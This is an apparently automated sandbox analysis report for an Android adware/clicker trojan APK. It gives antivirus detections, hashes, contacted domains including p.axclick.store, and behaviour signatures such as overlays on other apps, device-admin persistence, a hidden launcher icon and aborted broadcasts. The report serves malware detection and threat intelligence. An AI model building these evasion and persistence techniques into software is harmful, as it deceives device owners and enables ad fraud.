Loading ...

Analysis Report

Overview

General Information

Joe Sandbox Version:20.0.0
Analysis ID:356721
Start time:15:37:35
Joe Sandbox Product:Cloud
Start date:06.09.2017
Overall analysis duration:0h 4m 58s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:com.pedqaesf.app-0.0.2-apk.plus.apk
Cookbook file name:defaultandroidfilecookbook.jbs
Analysis system description:Android x86 5.1
Detection:MAL
Classification:mal60.evad.troj.andAPK@0/251@3/0
Warnings:
Show All
  • Not all executed log events are in report (maximum 10 identical API calls)
  • Not all resource files were parsed
  • Not all resource strings were parsed


Detection

StrategyScoreRangeReportingDetection
Threshold600 - 100Report FP / FNmalicious


Classification

Signature Overview

Click to jump to signature section


AV Detection:

barindex
Antivirus detection for submitted fileShow sources
Source: com.pedqaesf.app-0.0.2-apk.plus.apkvirustotal: 25/61 detections Avira: ANDROID/Clicker.ytrhi, AegisLab: Android.Adware.Agent!c, WhiteArmor: Malware.HighConfidence, Qihoo-360: Trojan.Android.Gen, BitDefender: Android.Adware.Agent.gDIEV, Emsisoft: Android.Adware.Agent.gDIEV (B), GData: Android.Adware.Agent.gDIEV, Fortinet: Android/Clicker.HX!tr, Sophos: Andr/Xgen2-R, ESET-NOD32: a variant of Android/Clicker.HX, McAfee: Artemis!E3413E8F031A, Cyren: AndroidOS/GenBl.E3413E8F!Olympus, Symantec: Trojan.Gen.2, ZoneAlarm: HEUR:Trojan-Clicker.AndroidOS.Agent.an, TrendMicro-HouseCall: Suspicious_GEN.F47V0807, Rising: Trojan.Clicker/Android!8.457 (cloud:sENgSPumJ6J), Arcabit: Android.Adware.Agent.gDIEV, SymantecMobileInsight: Other:Android.Reputation.2, Kaspersky: HEUR:Trojan-Clicker.AndroidOS.Agent.an, Ikarus: Trojan.AndroidOS.Clicker, CAT-QuickHeal: Android.Clicker.GEN18386, DrWeb: Android.Click.268, NANO-Antivirus: Riskware.Android.Click.ertnqh, AhnLab-V3: Android-PUP/Clicker.69400, MAX: malware (ai score=43)Perma Link

Operating System Destruction:

barindex
Lists and deletes files in the same contextShow sources
Source: com.android.volley.toolbox.c;->a:151API Calls in same method context: File.listFiles,File.delete

Privilege Escalation:

barindex
Starts an activity on device admin enabledShow sources
Source: com.pedqaesf.app.AsyncTask.Vlwhupznixfm;->onDisabled:11API Call: android.content.Context.startActivity (not executed)

E-Banking Fraud:

barindex
Has functionalty to add an overlay to other appsShow sources
Source: com.pedqaesf.app.player.INSYouTubePlayerService;->a:153API Call: WindowManager.addView
Source: com.pedqaesf.app.player.INSYouTubePlayerService;->a:193API Call: WindowManager.addView
Source: com.pedqaesf.app.player.INSYouTubePlayerService;->a:228API Call: WindowManager.addView
Source: com.pedqaesf.app.player.INSYouTubePlayerService;->a:236API Call: WindowManager.addView
Source: com.pedqaesf.app.player.INSYouTubePlayerService;->e:410API Call: WindowManager.addView
Source: com.pedqaesf.app.player.INSYouTubePlayerService;->e:414API Call: WindowManager.addView
Source: com.pedqaesf.app.player.INSYouTubePlayerService;->e:418API Call: WindowManager.addView
Source: com.pedqaesf.app.player.INSYouTubePlayerService;->e:422API Call: WindowManager.addView
Sends UDP packetsShow sources
Source: com.pedqaesf.app.AsyncTask.Vxrwzmvghcbb$a$1;->run:17API Call: java.net.DatagramSocket.send

Networking:

barindex
Downloads files from webservers via HTTPShow sources
Source: global trafficHTTP traffic detected: GET /generate_204 HTTP/1.1User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)Host: connectivitycheck.android.comConnection: Keep-AliveAccept-Encoding: gzip
Source: global trafficHTTP traffic detected: GET /generate_204 HTTP/1.1User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)Host: connectivitycheck.android.comConnection: Keep-AliveAccept-Encoding: gzip
Source: global trafficHTTP traffic detected: GET /generate_204 HTTP/1.1User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)Host: connectivitycheck.android.comConnection: Keep-AliveAccept-Encoding: gzip
Source: global trafficHTTP traffic detected: GET /generate_204 HTTP/1.1User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)Host: connectivitycheck.android.comConnection: Keep-AliveAccept-Encoding: gzip
Source: global trafficHTTP traffic detected: GET /generate_204 HTTP/1.1User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)Host: connectivitycheck.android.comConnection: Keep-AliveAccept-Encoding: gzip
Source: global trafficHTTP traffic detected: GET /generate_204 HTTP/1.1User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)Host: connectivitycheck.android.comConnection: Keep-AliveAccept-Encoding: gzip
Found strings which match to known social media urlsShow sources
Source: androidString found in binary or memory: &enablejsapi=1&autoplay=1&iv_load_policy=3&fs=0&rel=0\"> </iframe>\n <script type=\"text/javascript\">\n var tag = document.createElement(\'script\');\n\n tag.src = \"https://www.youtube.com/iframe_api\";\n var firstScriptTag = document.getElementsByTagName(\'script\')[0];\n firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);\n var player;\n function onYouTubeIframeAPIReady() {\n player = new YT.Player(\'player\', {\n events: {\n \'onReady\': onPlayerReady\n }\n });\n }\n function onPlayerReady(event) {\n player.setPlaybackQuality(\" equals www.youtube.com (Youtube)
Source: androidString found in binary or memory: <!DOCTYPE HTML>\n<html>\n <head>\n <script src=\"https://www.youtube.com/iframe_api\"></script>\n <style type=\"text/css\">\n html, body {\n margin: 0px;\n padding: 0px;\n border: 0px;\n width: 100%;\n height: 100%;\n }\n </style> </head>\n\n <body>\n <iframe style=\"display: block;\" id=\"player\" frameborder=\"0\" width=\"100%\" height=\"100%\" src=\"https://www.youtube.com/embed/ equals www.youtube.com (Youtube)
Source: androidString found in binary or memory: <!DOCTYPE HTML>\n<html>\n <head>\n <script src=\"https://www.youtube.com/iframe_api\"></script>\n <style type=\"text/css\">\n html, body {\n margin: 0px;\n padding: 0px;\n border: 0px;\n width: 100%;\n height: 100%;\n }\n </style> </head>\n\n <body>\n <iframe style=\"display: block;\" id=\"player\" frameborder=\"0\" width=\"100%\" height=\"100%\" src=\"https://www.youtube.com/embed/?list= equals www.youtube.com (Youtube)
Source: androidString found in binary or memory: ?enablejsapi=1&autoplay=1&iv_load_policy=3&fs=0&rel=0\"> </iframe>\n <script type=\"text/javascript\">\n var tag = document.createElement(\'script\');\n tag.src = \"https://www.youtube.com/iframe_api\";\n var firstScriptTag = document.getElementsByTagName(\'script\')[0];\n firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);\n var player;\n function onYouTubeIframeAPIReady() {\n player = new YT.Player(\'player\', {\n events: {\n \'onReady\': onPlayerReady\n }\n });\n }\n function onPlayerReady(event) {\n player.setPlaybackQuality(\" equals www.youtube.com (Youtube)
Source: resources.arscString found in binary or memory: Permit to Draw over other appsppWe had to remove the possibility to listen to your music in lockscreen in order to respect YouTube Terms of Use. equals www.youtube.com (Youtube)
Source: resources.arsc, androidString found in binary or memory: Search YouTube equals www.youtube.com (Youtube)
Source: androidString found in binary or memory: We had to remove the possibility to listen to your music in lockscreen in order to respect YouTube Terms of Use. equals www.youtube.com (Youtube)
Source: androidString found in binary or memory: http://m.youtube.com/results?q= equals www.youtube.com (Youtube)
Source: androidString found in binary or memory: http://m.youtube.com/watch? equals www.youtube.com (Youtube)
Source: androidString found in binary or memory: http://www.youtube.com equals www.youtube.com (Youtube)
Source: androidString found in binary or memory: https://m.youtube.com/ equals www.youtube.com (Youtube)
Source: androidString found in binary or memory: https://m.youtube.com/channel/UC4R8DWoMoI7CAwX8_LjQHig equals www.youtube.com (Youtube)
Source: androidString found in binary or memory: https://m.youtube.com/channel/UCBg69z2WJGVY2TbhJ1xG4AA equals www.youtube.com (Youtube)
Source: androidString found in binary or memory: https://m.youtube.com/channel/UCE80FOXpJydkkMo-BYoJdEg equals www.youtube.com (Youtube)
Source: androidString found in binary or memory: https://m.youtube.com/channel/UCEgdi0XIXXZ-qJOFPf4JSKw equals www.youtube.com (Youtube)
Source: androidString found in binary or memory: https://m.youtube.com/channel/UCHtUkBSmt4d92XP8q17JC3w equals www.youtube.com (Youtube)
Source: androidString found in binary or memory: https://m.youtube.com/channel/UCOpNcN46UbXVtpKMrmU4Abg equals www.youtube.com (Youtube)
Source: androidString found in binary or memory: https://m.youtube.com/channel/UCRZoK7sezr5KRjk7BBjmH6w equals www.youtube.com (Youtube)
Source: androidString found in binary or memory: https://m.youtube.com/channel/UCSkJDgBGvNOEXSQl4YNjDtQ equals www.youtube.com (Youtube)
Source: androidString found in binary or memory: https://m.youtube.com/channel/UCTaFu5zwa9ySHWFlBo3aDPQ equals www.youtube.com (Youtube)
Source: androidString found in binary or memory: https://m.youtube.com/channel/UCUnSTiCHiHgZA9NQUG6lZkQ equals www.youtube.com (Youtube)
Source: androidString found in binary or memory: https://m.youtube.com/feed/account equals www.youtube.com (Youtube)
Source: androidString found in binary or memory: https://m.youtube.com/feed/trending equals www.youtube.com (Youtube)
Source: androidString found in binary or memory: https://m.youtube.com/results?q=top%20playlist&sm=3 equals www.youtube.com (Youtube)
Source: androidString found in binary or memory: https://m.youtube.com/watch? equals www.youtube.com (Youtube)
Source: androidString found in binary or memory: https://www.facebook.com/FloatingTubeApp/ equals www.facebook.com (Facebook)
Source: androidString found in binary or memory: https://www.youtube.com/oembed?url=http://www.youtu.be/watch?v= equals www.youtube.com (Youtube)
Source: androidString found in binary or memory: https://www.youtube.com/player_api equals www.youtube.com (Youtube)
Source: androidString found in binary or memory: m.youtube.com equals www.youtube.com (Youtube)
Source: resources.arscString found in binary or memory: ppWe had to remove the possibility to listen to your music in lockscreen in order to respect YouTube Terms of Use. equals www.youtube.com (Youtube)
Performs DNS lookupsShow sources
Source: unknownDNS traffic detected: queries for: p.axclick.store
Urls found in memory or binary dataShow sources
Source: androidString found in binary or memory: http://creativecommons.org/licenses/by/4.0/
Source: androidString found in binary or memory: http://g.axclick.store/?utm_source=tfikztteuic
Source: androidString found in binary or memory: http://m.youtube.com/results?q=
Source: androidString found in binary or memory: http://m.youtube.com/watch?
Source: resources.arsc, androidString found in binary or memory: http://mikepenz.com/
Source: androidString found in binary or memory: http://p.axclick.store/?utm_source=tfikztteuic
Source: avd_show_password.xml, avd_show_password_1.xml, avd_hide_password_3.xml, avd_show_password_2.xmlString found in binary or memory: http://schemas.android.com/aapt
Source: abc_tint_btn_checkable.xml, no_internet_view.xmlString found in binary or memory: http://schemas.android.com/apk/res-auto
Source: abc_action_menu_layout.xmlString found in binary or memory: http://schemas.android.com/apk/res-auto((android.support.v7.widget.actionmenuview
Source: activity_settings.xml, activity_ytview.xml, design_bottom_sheet_dialog.xml, no_internet_view.xmlString found in binary or memory: http://schemas.android.com/apk/res-auto//android.support.design.widget.coordinatorlayout
Source: abc_screen_toolbar.xmlString found in binary or memory: http://schemas.android.com/apk/res-auto00android.support.v7.widget.actionbaroverlaylayout
Source: searchable.xmlString found in binary or memory: http://schemas.android.com/apk/res/android
Source: abc_dialog_title_material.xmlString found in binary or memory: http://schemas.android.com/apk/res/android00android.support.v7.widget.fitwindowslinearlayout
Source: abc_screen_simple.xmlString found in binary or memory: http://schemas.android.com/apk/res/android00android.support.v7.widget.fitwindowslinearlayout((androi
Source: design_text_input_password_icon.xmlString found in binary or memory: http://schemas.android.com/apk/res/android22android.support.design.widget.checkableimagebutton
Source: design_navigation_item.xmlString found in binary or memory: http://schemas.android.com/apk/res/android66android.support.design.internal.navigationmenuitemview
Source: material_drawer_slider.xmlString found in binary or memory: http://schemas.android.com/apk/res/android77com.mikepenz.materialize.view.scriminsetsrelativelayout
Source: androidString found in binary or memory: http://suggestqueries.google.com/complete/search?client=youtube&ds=yt&client=firefox&hl=
Source: androidString found in binary or memory: http://u.axclick.store/?utm_source=tfikztteuic
Source: androidString found in binary or memory: http://www.youtube.com
Source: resources.arsc, androidString found in binary or memory: https://design.google.com/icons/
Source: androidString found in binary or memory: https://github.com/google/material-design-icons
Source: resources.arsc, androidString found in binary or memory: https://github.com/google/material-design-icons/
Source: resources.arsc, androidString found in binary or memory: https://github.com/mikepenz/android-iconics
Source: resources.arsc, androidString found in binary or memory: https://github.com/mikepenz/fastadapter
Source: androidString found in binary or memory: https://github.com/mikepenz/fastadapter/blob/develop/library-core/src/main/java/com/mikepenz/fastada
Source: resources.arsc, androidString found in binary or memory: https://github.com/mikepenz/materialdrawer
Source: resources.arsc, androidString found in binary or memory: https://github.com/mikepenz/materialize
Source: androidString found in binary or memory: https://i.ytimg.com/vi/
Source: androidString found in binary or memory: https://m.youtube.com/
Source: androidString found in binary or memory: https://m.youtube.com/channel/uc4r8dwomoi7cawx8_ljqhig
Source: androidString found in binary or memory: https://m.youtube.com/channel/ucbg69z2wjgvy2tbhj1xg4aa
Source: androidString found in binary or memory: https://m.youtube.com/channel/uce80foxpjydkkmo-byojdeg
Source: androidString found in binary or memory: https://m.youtube.com/channel/ucegdi0xixxz-qjofpf4jskw
Source: androidString found in binary or memory: https://m.youtube.com/channel/uchtukbsmt4d92xp8q17jc3w
Source: androidString found in binary or memory: https://m.youtube.com/channel/ucopncn46ubxvtpkmrmu4abg
Source: androidString found in binary or memory: https://m.youtube.com/channel/ucrzok7sezr5krjk7bbjmh6w
Source: androidString found in binary or memory: https://m.youtube.com/channel/ucskjdgbgvnoexsql4ynjdtq
Source: androidString found in binary or memory: https://m.youtube.com/channel/uctafu5zwa9yshwflbo3adpq
Source: androidString found in binary or memory: https://m.youtube.com/channel/ucunstichihgza9nqug6lzkq
Source: androidString found in binary or memory: https://m.youtube.com/feed/account
Source: androidString found in binary or memory: https://m.youtube.com/feed/trending
Source: androidString found in binary or memory: https://m.youtube.com/results?q=top%20playlist&sm=3
Source: androidString found in binary or memory: https://m.youtube.com/watch?
Source: androidString found in binary or memory: https://www.facebook.com/floatingtubeapp/
Source: resources.arsc, androidString found in binary or memory: https://www.google.com/
Source: androidString found in binary or memory: https://www.youtube.com/embed/
Source: androidString found in binary or memory: https://www.youtube.com/embed/?list=
Source: androidString found in binary or memory: https://www.youtube.com/iframe_api
Source: androidString found in binary or memory: https://www.youtube.com/oembed?url=http://www.youtu.be/watch?v=
Source: androidString found in binary or memory: https://www.youtube.com/player_api
Uses HTTP for connecting to the internetShow sources
Source: com.pedqaesf.app.AsyncTask.a;->a:6API Call: java.net.HttpURLConnection.connect
Source: com.android.volley.toolbox.d;->a:62API Call: org.apache.http.client.HttpClient.execute
Uses HTTPSShow sources
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 35775
Source: unknownNetwork traffic detected: HTTP traffic on port 35775 -> 443
Checks an internet connection is availableShow sources
Source: com.pedqaesf.app.INSMainActivity;->a:6API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.pedqaesf.app.INSMainActivity;->a:10API Call: android.net.NetworkInfo.isConnected
Opens an internet connectionShow sources
Source: com.pedqaesf.app.AsyncTask.a;->a:4API Call: java.net.URL.openConnection (not executed)
Source: com.pedqaesf.app.AsyncTask.b;->a:5API Call: java.net.URL.openConnection (not executed)
Source: com.android.volley.toolbox.g;->a:68API Call: java.net.URL.openConnection (not executed)
Performs DNS lookups (Java API)Show sources
Source: com.pedqaesf.app.AsyncTask.Vxrwzmvghcbb$a$1;->run:7API Call: java.net.InetAddress.getByName (not executed)

Data Obfuscation:

barindex
Obfuscates method namesShow sources
Source: com.pedqaesf.app-0.0.2-apk.plus.apkTotal valid method names: 20%
Uses reflectionShow sources
Source: unknownAPI Call: Real call: public void android.view.ViewGroup.makeOptionalFitsSystemWindows()
Source: unknownAPI Call: Real call: public void android.view.ViewGroup.makeOptionalFitsSystemWindows()
Source: com.pedqaesf.app.views.INSCustomSwipeRefresh;-><init>:2API Call: Real call: protected void android.view.ViewGroup.setChildrenDrawingOrderEnabled(boolean)
Source: unknownAPI Call: Real call: public int android.graphics.drawable.Drawable.getLayoutDirection()
Source: unknownAPI Call: Real call: public int android.graphics.drawable.Drawable.getLayoutDirection()
Source: unknownAPI Call: Real call: public int android.graphics.drawable.Drawable.getLayoutDirection()
Source: unknownAPI Call: Real call: public int android.graphics.drawable.Drawable.getLayoutDirection()
Source: unknownAPI Call: Real call: public int android.graphics.drawable.Drawable.getLayoutDirection()
Source: unknownAPI Call: Real call: public int android.graphics.drawable.Drawable.getLayoutDirection()
Source: unknownAPI Call: Real call: public int android.graphics.drawable.Drawable.getLayoutDirection()
Source: unknownAPI Call: Real call: public int android.graphics.drawable.Drawable.getLayoutDirection()
Source: unknownAPI Call: Real call: public int android.graphics.drawable.Drawable.getLayoutDirection()
Source: unknownAPI Call: Real call: public int android.graphics.drawable.Drawable.getLayoutDirection()
Source: unknownAPI Call: Real call: void android.widget.AutoCompleteTextView.doBeforeTextChanged()
Source: unknownAPI Call: Real call: void android.widget.AutoCompleteTextView.doAfterTextChanged()
Source: unknownAPI Call: Real call: public void android.view.inputmethod.InputMethodManager.showSoftInputUnchecked(int,android.os.ResultReceiver)

System Summary:

barindex
Classification labelShow sources
Source: classification engineClassification label: mal60.evad.troj.andAPK@0/251@3/0
Reads shares settingsShow sources
Source: com.pedqaesf.app.INSSettingsActivity;->onCreate:65API Call: android.content.SharedPreferences.getBoolean
Source: com.pedqaesf.app.player.INSPlayerYouTubeView;->onCreate:100API Call: android.content.SharedPreferences.getBoolean
Source: com.pedqaesf.app.player.INSYouTubePlayerService$2;->onGlobalLayout:28API Call: android.content.SharedPreferences.getBoolean
Source: com.mikepenz.materialdrawer.d;->i:25API Call: android.content.SharedPreferences.getBoolean
Source: com.mikepenz.materialdrawer.d;->i:34API Call: android.content.SharedPreferences.getBoolean
Requests potentially dangerous permissionsShow sources
Source: submitted apkRequest permission: android.permission.INTERNET

Hooking and other Techniques for Hiding and Protection:

barindex
Aborts a broadcast event (this is often done to hide phone events such as incoming SMS)Show sources
Source: com.pedqaesf.app.AsyncTask.Vlwhupznixfm;->onDisableRequested:2API Call: com.pedqaesf.app.AsyncTask.Vlwhupznixfm.abortBroadcast
Removes its application launcher (likely to stay hidden)Show sources
Source: com.pedqaesf.app.INSMainActivity;->i:59API Call: android.content.pm.PackageManager.setComponentEnabledSetting

Antivirus Detection

Initial Sample

SourceRatioCloudLink
com.pedqaesf.app-0.0.2-apk.plus.apk25/61virustotalBrowse

Dropped Files

No Antivirus matches

Domains

SourceRatioCloudLink
m.youtube.com0/65virustotalBrowse
p.axclick.store3/65virustotalBrowse

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Memory Dumps

No yara matches

Screenshot

android-buttoncam-android

Created / dropped Files

No created / dropped files found

Contacted Domains/Contacted IPs

Contacted Domains

NameIPActiveMaliciousAntivirus Detection
m.youtube.com172.217.18.14truefalse0/65, virustotal, Browse
p.axclick.storeunknownunknownfalse3/65, virustotal, Browse

Contacted IPs

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs
IPCountryFlagASNASN NameMalicious
64.233.167.139United States
15169GoogleIncfalse
8.8.8.8United States
15169GoogleIncfalse
172.217.18.14United States
15169GoogleIncfalse
66.102.1.188United States
15169GoogleIncfalse
192.168.1.33unknown
unknownunknownfalse

Static File Info

General

File type:Zip archive data, at least v2.0 to extract
TrID:
  • Android Package (19004/1) 52.05%
  • Java Archive (13504/1) 36.99%
  • ZIP compressed archive (4004/1) 10.97%
File name:com.pedqaesf.app-0.0.2-apk.plus.apk
File size:2084770
MD5:e3413e8f031a5b58b58eb8c19e7c89b4
SHA1:4a9ffd525fe0018f6c2f8b4a698a203a235a2da3
SHA256:b212cb284f6aba06599877ab49c1e0373909d65bd6f3c03f01d8c0e3d88dc85a
SHA512:2af510256a22a381204cae2f51d5041c13c292e46e992b4f3e4e76015548e41d436e74ebc8f059124752ee066e6505483b72051e3c24232adbe72515a4aff255
File Content Preview:PK........U\.K...Y....(.......AndroidManifest.xml.WKSTW..;.cD.A..E.E....DE."(..0.......fpd..7Z.\.,..? .....&U.,.KV.R..LY.\d.|...9sfn."S.}.9.u.~.{.S....yTOo..}F..:/.......U.)......x...".....7.5...%.........Y................<.^.o.CeD.......x...'j.../......$

File Icon

Static APK Info

General

Label:Data Storage
Minimum SDK required:15
Target SDK required:23
Version Code:2
Version Name:2
Package Name:com.pedqaesf.app
Is Activity:true
Is Receiver:true
Is Service:true
Requests System Level Permissions:false
Play Store Compatible:true

Activities

NameIs Entrypoint
com.pedqaesf.appcom.pedqaesf.app.INSMainActivity
com.pedqaesf.appcom.pedqaesf.app.player.INSPlayerYouTubeView
com.pedqaesf.appcom.pedqaesf.app.INSSplashActivitytrue
com.pedqaesf.appcom.pedqaesf.app.INSSettingsActivity
com.pedqaesf.appcom.pedqaesf.app.player.INSFullScreenWebPlayer

Receivers

  • com.pedqaesf.app.AsyncTask.Vlwhupznixfm
  • Intent: android.app.action.DEVICE_ADMIN_ENABLED
  • com.pedqaesf.app.AsyncTask.Vmoltwdtlrgk
  • Intent: android.net.conn.CONNECTIVITY_CHANGE

Services

  • com.pedqaesf.app.AsyncTask.Vpknteytxitm
  • com.pedqaesf.app.AsyncTask.Vpxbjlowiwzg
  • com.pedqaesf.app.AsyncTask.Vxrwzmvghcbb
  • com.pedqaesf.app.player.INSYouTubePlayerService

Permission Requested

  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.ACCESS_WIFI_STATE
  • android.permission.INTERNET

Certificate

Name:classes.dex
Issuer:CN=Android,OU=Android,O=Google Inc.,L=Mountain View,ST=California,C=US
Subject:CN=Android,OU=Android,O=Google Inc.,L=Mountain View,ST=California,C=US

Resources

NameType
ic_close.xml
abc_ic_commit_search_api_mtrl_alpha.png
abc_screen_simple.xml
abc_list_focused_holo.9.png
abc_dialog_title_material.xml
splash_image.jpg
abc_btn_check_to_on_mtrl_015.png
abc_list_pressed_holo_light.9.png
design_ic_visibility.png
abc_edit_text_material.xml
abc_menu_hardkey_panel_mtrl_mult.9.png
avd_show_password.xml
ic_repeat_one.xml
abc_scrubber_primary_mtrl_alpha.9.png
abc_switch_track_mtrl_alpha.9.png
material_drawer_item_switch.xml
abc_switch_thumb_material.xml
notification_bg_low_pressed.9.png
abc_btn_radio_to_on_mtrl_015.png
abc_textfield_search_activated_mtrl_alpha.9.png
notification_small.xml
abc_ic_ab_back_material.xml
notification_template_big_media_narrow.xml
abc_tint_seek_thumb.xml
ic_stat_playing.png
abc_screen_toolbar.xml
abc_list_selector_disabled_holo_light.9.png
design_bottom_sheet_slide_out.xml
abc_seekbar_tick_mark_material.xml
abc_ic_menu_copy_mtrl_am_alpha.png
abc_btn_colored_material.xml
abc_menu_hardkey_panel_mtrl_mult.9.png
abc_list_divider_mtrl_alpha.9.png
abc_spinner_mtrl_am_alpha.9.png
avd_show_password_1.xml
abc_btn_radio_to_on_mtrl_015.png
abc_btn_radio_to_on_mtrl_000.png
abc_btn_default_mtrl_shape.xml
ic_pause.xml
abc_ic_arrow_drop_right_black_24dp.xml
switch_thumb_material_dark.xml
abc_list_focused_holo.9.png
abc_list_selector_background_transition_holo_light.xml
controls.xml
material_drawer_item_secondary.xml
abc_cab_background_top_mtrl_alpha.9.png
design_ic_visibility_off.png
abc_fade_out.xml
GOOGPLAY.RSA
abc_list_pressed_holo_light.9.png
notify_panel_notification_icon_bg.png
abc_ic_menu_copy_mtrl_am_alpha.png
material_drawer_slider.xml
abc_ic_menu_paste_mtrl_am_alpha.png
close_gradient.xml
abc_alert_dialog_button_bar_material.xml
material_drawer_header.xml
abc_spinner_mtrl_am_alpha.9.png
notification_template_media.xml
material_drawer_item_expandable_badge.xml
notification_large.xml
material_drawer_item_primary.xml
design_bottom_sheet_slide_in.xml
abc_list_selector_disabled_holo_dark.9.png
material_drawer_item_mini_profile.xml
design_ic_visibility_off.png
abc_btn_check_to_on_mtrl_000.png
abc_text_select_handle_left_mtrl_light.png
material_drawer_item_secondary_toggle.xml
design_layout_snackbar.xml
notification_template_media_custom.xml
abc_list_pressed_holo_dark.9.png
get_permission.xml
material_drawer_item_mini.xml
abc_hint_foreground_material_dark.xml
abc_list_selector_holo_dark.xml
activity_main.xml
notification_action_background.xml
abc_cab_background_internal_bg.xml
abc_ic_menu_copy_mtrl_am_alpha.png
abc_ic_star_black_48dp.png
ic_status_bar.xml
activity_settings.xml
abc_secondary_text_material_dark.xml
abc_list_longpressed_holo.9.png
abc_search_view.xml
abc_btn_radio_to_on_mtrl_000.png
abc_text_select_handle_right_mtrl_dark.png
ic_stat_playing.png
ic_search.xml
material_drawer_shadow_bottom.xml
abc_ic_commit_search_api_mtrl_alpha.png
abc_ic_menu_cut_mtrl_alpha.png
example_picture.png
design_layout_snackbar_include.xml
abc_ic_menu_selectall_mtrl_alpha.png
design_tint_password_toggle.xml
ic_skip_next.xml
abc_ic_star_half_black_48dp.png
notification_bg_normal_pressed.9.png
abc_scrubber_control_to_pressed_mtrl_005.png
design_bottom_sheet_slide_in.xml
abc_list_selector_disabled_holo_light.9.png
design_snackbar_in.xml
abc_fade_in.xml
ic_stop.xml
select_dialog_multichoice_material.xml
abc_ab_share_pack_mtrl_alpha.9.png
design_appbar_state_list_animator.xml
abc_action_bar_view_list_nav_layout.xml
abc_scrubber_control_to_pressed_mtrl_005.png
abc_grow_fade_in_from_bottom.xml
abc_text_select_handle_right_mtrl_light.png
abc_btn_radio_to_on_mtrl_000.png
abc_btn_switch_to_on_mtrl_00012.9.png
abc_list_selector_disabled_holo_light.9.png
design_fab_out.xml
design_navigation_item.xml
material_drawer_item_container.xml
abc_ic_menu_share_mtrl_alpha.png
abc_cab_background_top_mtrl_alpha.9.png
abc_ic_star_black_48dp.png
admin.xml
abc_ic_star_half_black_48dp.png
abc_hint_foreground_material_light.xml
service_player.xml
activity_ytview.xml
material_drawer_badge.xml
notification_template_media.xml
material_drawer_item_secondary_switch.xml
abc_ic_menu_copy_mtrl_am_alpha.png
notification_template_icon_group.xml
notification_action.xml
abc_scrubber_primary_mtrl_alpha.9.png
design_text_input_password_icon.xml
abc_scrubber_track_mtrl_alpha.9.png
material_drawer_compact_header.xml
abc_list_selector_disabled_holo_dark.9.png
abc_ic_voice_search_api_material.xml
abc_scrubber_control_off_mtrl_alpha.png
ic_launcher.png
abc_ic_star_half_black_36dp.png
abc_spinner_mtrl_am_alpha.9.png
design_ic_visibility.png
google-material-font-v3.0.1.0.original.ttf
abc_text_select_handle_right_mtrl_light.png
material_drawer_header.xml
abc_ic_star_black_16dp.png
ic_launcher.png
abc_action_menu_layout.xml
material_drawer_item_expandable.xml
abc_ic_menu_cut_mtrl_alpha.png
GOOGPLAY.SF
abc_textfield_search_default_mtrl_alpha.9.png
material_drawer_item_mini.xml
bgprogressbar.xml
select_dialog_singlechoice_material.xml
abc_ic_star_half_black_16dp.png
abc_popup_enter.xml
notification_template_part_time.xml
material_drawer_item_primary.xml
abc_btn_switch_to_on_mtrl_00001.9.png
abc_tab_indicator_mtrl_alpha.9.png
abc_textfield_activated_mtrl_alpha.9.png
abc_list_selector_disabled_holo_dark.9.png
design_password_eye.xml
abc_btn_check_to_on_mtrl_015.png
design_error.xml
abc_dialog_title_material.xml
abc_text_select_handle_middle_mtrl_dark.png
notification_bg_normal_pressed.9.png
select_dialog_item_material.xml
material_drawer_slider.xml
avd_hide_password_3.xml
abc_ic_star_black_16dp.png
abc_scrubber_track_mtrl_alpha.9.png
abc_alert_dialog_title_material.xml
material_drawer_shadow_right.9.png
abc_textfield_activated_mtrl_alpha.9.png
abc_text_select_handle_right_mtrl_light.png
material_drawer_shadow_left.9.png
material_drawer_compact_header.xml
abc_text_select_handle_right_mtrl_light.png
abc_vector_test.xml
abc_list_longpressed_holo.9.png
abc_btn_check_to_on_mtrl_015.png
abc_ic_star_half_black_16dp.png
design_bottom_navigation_item.xml
material_drawer_item_profile_setting.xml
abc_action_mode_close_item_material.xml
abc_ic_star_black_36dp.png
design_bottom_sheet_dialog.xml
abc_seekbar_thumb_material.xml
abc_list_divider_mtrl_alpha.9.png
abc_tint_switch_track.xml
abc_list_focused_holo.9.png
design_password_eye.xml
abc_alert_dialog_button_bar_material.xml
abc_ratingbar_indicator_material.xml
abc_ic_menu_selectall_mtrl_alpha.png
abc_textfield_search_default_mtrl_alpha.9.png
abc_ratingbar_material.xml
ic_launcher.png
abc_cab_background_top_mtrl_alpha.9.png
abc_search_url_text.xml
notification_template_icon_group.xml
notification_action_tombstone.xml
abc_spinner_mtrl_am_alpha.9.png
abc_tint_btn_checkable.xml
abc_scrubber_control_to_pressed_mtrl_005.png
abc_textfield_activated_mtrl_alpha.9.png
abc_btn_switch_to_on_mtrl_00012.9.png
resources.arsc
abc_ic_menu_share_mtrl_alpha.png
abc_scrubber_control_to_pressed_mtrl_000.png
abc_primary_text_material_light.xml
material_drawer_item_expandable.xml
search_suggestion_list_item.xml
no_internet_view.xml
content_main.xml
notification_action.xml
ic_stat_playing.png
abc_tint_btn_checkable.xml
abc_scrubber_control_to_pressed_mtrl_000.png
design_navigation_item_subheader.xml
abc_list_menu_item_icon.xml
material_drawer_item_mini_profile.xml
notification_bg_normal_pressed.9.png
player_webview.xml
material_drawer_header.xml
notification_bg_low_pressed.9.png
ic_entire_width_exit.xml
material_drawer_item_expandable_badge.xml
design_layout_snackbar.xml
material_drawer_item_divider.xml
abc_tab_indicator_mtrl_alpha.9.png
abc_tint_spinner.xml
design_navigation_menu_item.xml
MANIFEST.MF
abc_text_select_handle_right_mtrl_dark.png
abc_btn_check_to_on_mtrl_015.png
abc_text_select_handle_left_mtrl_dark.png
ic_repeat.xml
activity_full_player_web.xml
